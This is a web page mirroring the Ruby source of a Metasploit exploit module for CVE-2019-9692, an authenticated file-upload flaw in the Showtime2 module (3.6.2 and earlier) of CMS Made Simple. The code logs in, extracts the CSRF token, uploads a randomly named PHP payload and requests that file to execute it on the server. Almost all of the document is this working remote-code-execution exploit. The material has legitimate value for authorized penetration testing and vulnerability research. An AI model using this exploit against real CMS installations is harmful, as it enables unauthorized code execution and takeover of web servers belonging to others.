CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cmsms_showtime2_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
15
'Description' => %q(
16
This module exploits a File Upload vulnerability that lead in a RCE in
17
Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
18
user with "Use Showtime2" privilege could exploit the vulnerability.
19
20
The vulnerability exists in the Showtime2 module, where the class
21
"class.showtime2_image.php" does not ensure that a watermark file
22
has a standard image file extension (GIF, JPG, JPEG, or PNG).
23
24
Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
25
3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
26
),
27
'License' => MSF_LICENSE,
28
'Author' =>
29
[
30
'Daniele Scanu', # Discovery & PoC
31
'Fabio Cogno' # Metasploit module
32
],
33
'References' =>
34
[
35
['CVE', '2019-9692'],
36
['CWE', '434'],
37
['EDB', '46546'],
38
['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
39
['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
40
],
41
'Platform' => 'php',
42
'Arch' => ARCH_PHP,
43
'Targets' => [['Automatic', {}]],
44
'Privileged' => false,
45
'DisclosureDate' => '2019-03-11',
46
'DefaultTarget' => 0))
47
48
register_options(
49
[
50
OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
51
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
52
OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
53
]
54
)
55
end
56
57
def do_login
58
res = send_request_cgi(
59
'method' => 'POST',
60
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
61
'vars_post' => {
62
'username' => datastore['username'],
63
'password' => datastore['password'],
64
'loginsubmit' => 'Submit'
65
}
66
)
67
68
unless res
69
fail_with(Failure::Unreachable, 'Connection failed')
70
end
71
72
if res.code == 302
73
@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
74
@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
75
@cookies = res.get_cookies
76
return
77
end
78
79
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
80
end
81
82
def upload(fname, fcontent)
83
# construct POST data
84
data = Rex::MIME::Message.new
85
data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
86
data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
87
data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
88
data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")
89
90
res = send_request_cgi(
91
'method' => 'POST',
92
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
93
'ctype' => "multipart/form-data; boundary=#{data.bound}",
94
'data' => data.to_s,
95
'headers' => {
96
'Cookie' => @cookies
97
}
98
)
99
100
unless res
101
fail_with(Failure::Unreachable, 'Connection failed')
102
end
103
104
if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
105
return
106
end
107
108
print_warning('No confidence in PHP payload success or failure')
109
end
110
111
def check
112
res = send_request_cgi(
113
'method' => 'GET',
114
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
115
)
116
117
unless res
118
vprint_error 'Connection failed'
119
return CheckCode::Unknown
120
end
121
122
if res.code == 200
123
module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
124
if module_version < Rex::Version.new('3.6.3')
125
# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
126
vprint_status("Showtime2 version: #{module_version}")
127
return Exploit::CheckCode::Appears
128
end
129
end
130
131
return Exploit::CheckCode::Safe
132
end
133
134
def exploit
135
unless Exploit::CheckCode::Appears == check
136
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
137
end
138
139
@csrf_name = nil
140
@csrf_value = nil
141
@cookies = nil
142
143
do_login
144
145
# Upload PHP payload
146
fname = "#{rand_text_alphanumeric(3..9)}.php"
147
fcontent = "<?php #{payload.encode} ?>"
148
print_status('Uploading PHP payload.')
149
upload(fname, fcontent)
150
151
# Register uploaded PHP payload file for cleanup
152
register_files_for_cleanup('./' + fname)
153
154
# Retrieve and execute PHP payload
155
print_status("Making request for '/#{fname}' to execute payload.")
156
send_request_cgi(
157
{
158
'method' => 'GET',
159
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
160
},
161
15
162
)
163
end
164
end
165
166